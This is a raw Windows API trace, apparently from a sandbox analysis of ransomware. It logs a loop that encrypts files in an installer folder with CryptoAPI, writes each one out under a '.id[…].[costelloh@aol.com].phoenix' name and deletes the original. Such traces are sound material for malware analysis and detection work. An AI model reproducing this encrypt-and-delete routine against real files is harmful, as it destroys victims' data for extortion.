	[0064.295] CloseHandle (hObject=0x338) returned 1
	[0064.295] CloseHandle (hObject=0x324) returned 1
	[0064.305] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1
	[0064.306] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0064.306] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.306] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18264) returned 1
	[0064.307] CloseHandle (hObject=0x324) returned 1
	[0064.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80
	[0064.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.307] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.307] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.307] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.307] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.359] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa388) returned 1
	[0064.359] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.359] ReadFile (in: hFile=0x324, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4758, lpOverlapped=0x0) returned 1
	[0064.381] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760, dwBufLen=0x4760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760) returned 1
	[0064.381] WriteFile (in: hFile=0x318, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4760, lpOverlapped=0x0) returned 1
	[0064.382] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa208) returned 1
	[0064.382] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.382] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0064.383] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.383] WriteFile (in: hFile=0x318, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0064.383] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0064.383] CloseHandle (hObject=0x324) returned 1
	[0064.383] CloseHandle (hObject=0x318) returned 1
	[0064.389] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1
	[0064.390] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0064.390] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.390] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=17752) returned 1
	[0064.390] CloseHandle (hObject=0x318) returned 1
	[0064.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80
	[0064.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.390] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.391] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.391] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.393] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa748) returned 1
	[0064.393] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.393] ReadFile (in: hFile=0x318, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4558, lpOverlapped=0x0) returned 1
	[0064.843] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4560, dwBufLen=0x4560 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4560) returned 1
	[0064.843] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4560, lpOverlapped=0x0) returned 1
	[0064.845] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa488) returned 1
	[0064.845] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0064.845] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0064.845] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0064.845] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0064.845] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0064.845] CloseHandle (hObject=0x318) returned 1
	[0064.845] CloseHandle (hObject=0x324) returned 1
	[0064.848] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1
	[0064.849] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0064.849] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.849] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18776) returned 1
	[0064.850] CloseHandle (hObject=0x324) returned 1
	[0064.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80
	[0064.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.850] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0064.850] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.850] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0064.850] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.850] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa9c8) returned 1
	[0065.850] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0065.850] ReadFile (in: hFile=0x324, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4958, lpOverlapped=0x0) returned 1
	[0065.883] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4960, dwBufLen=0x4960 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4960) returned 1
	[0065.883] WriteFile (in: hFile=0x338, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4960, lpOverlapped=0x0) returned 1
	[0065.885] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa308) returned 1
	[0065.885] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0065.885] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0065.885] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0065.885] WriteFile (in: hFile=0x338, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0065.885] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0065.885] CloseHandle (hObject=0x324) returned 1
	[0065.885] CloseHandle (hObject=0x338) returned 1
	[0065.888] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1
	[0065.889] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0065.889] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.889] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=14168) returned 1
	[0065.889] CloseHandle (hObject=0x338) returned 1
	[0065.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80
	[0065.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.889] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.890] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0065.890] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0065.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0065.902] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa588) returned 1
	[0065.902] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0065.902] ReadFile (in: hFile=0x338, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x3758, lpOverlapped=0x0) returned 1
	[0065.953] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3760, dwBufLen=0x3760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3760) returned 1
	[0065.953] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x3760, lpOverlapped=0x0) returned 1
	[0065.954] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa2c8) returned 1
	[0065.954] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0065.954] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0065.954] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0065.954] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0065.954] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0065.954] CloseHandle (hObject=0x338) returned 1
	[0065.955] CloseHandle (hObject=0x324) returned 1
	[0065.956] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1
	[0065.957] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0065.957] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0065.957] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18776) returned 1
	[0065.957] CloseHandle (hObject=0x324) returned 1
	[0065.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80
	[0065.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.957] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0065.957] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0065.958] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0065.958] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.962] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa408) returned 1
	[0065.962] CryptSetKeyParam (hKey=0xbaa408, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0065.962] ReadFile (in: hFile=0x324, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4958, lpOverlapped=0x0) returned 1
	[0066.040] CryptEncrypt (in: hKey=0xbaa408, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4960, dwBufLen=0x4960 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4960) returned 1
	[0066.040] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4960, lpOverlapped=0x0) returned 1
	[0066.042] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa608) returned 1
	[0066.042] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.042] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0066.042] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0066.042] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0066.042] CryptDestroyKey (hKey=0xbaa408) returned 1
	[0066.042] CloseHandle (hObject=0x324) returned 1
	[0066.042] CloseHandle (hObject=0x320) returned 1
	[0066.044] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1
	[0066.045] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.045] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.045] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=88533) returned 1
	[0066.045] CloseHandle (hObject=0x320) returned 1
	[0066.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
	[0066.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.046] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.046] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.046] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.046] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.046] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa688) returned 1
	[0066.046] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.046] ReadFile (in: hFile=0x320, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x159d5, lpOverlapped=0x0) returned 1
	[0066.131] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x159e0, dwBufLen=0x159e0 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x159e0) returned 1
	[0066.131] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x159e0, lpOverlapped=0x0) returned 1
	[0066.135] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa6c8) returned 1
	[0066.135] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.135] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.135] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0066.135] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
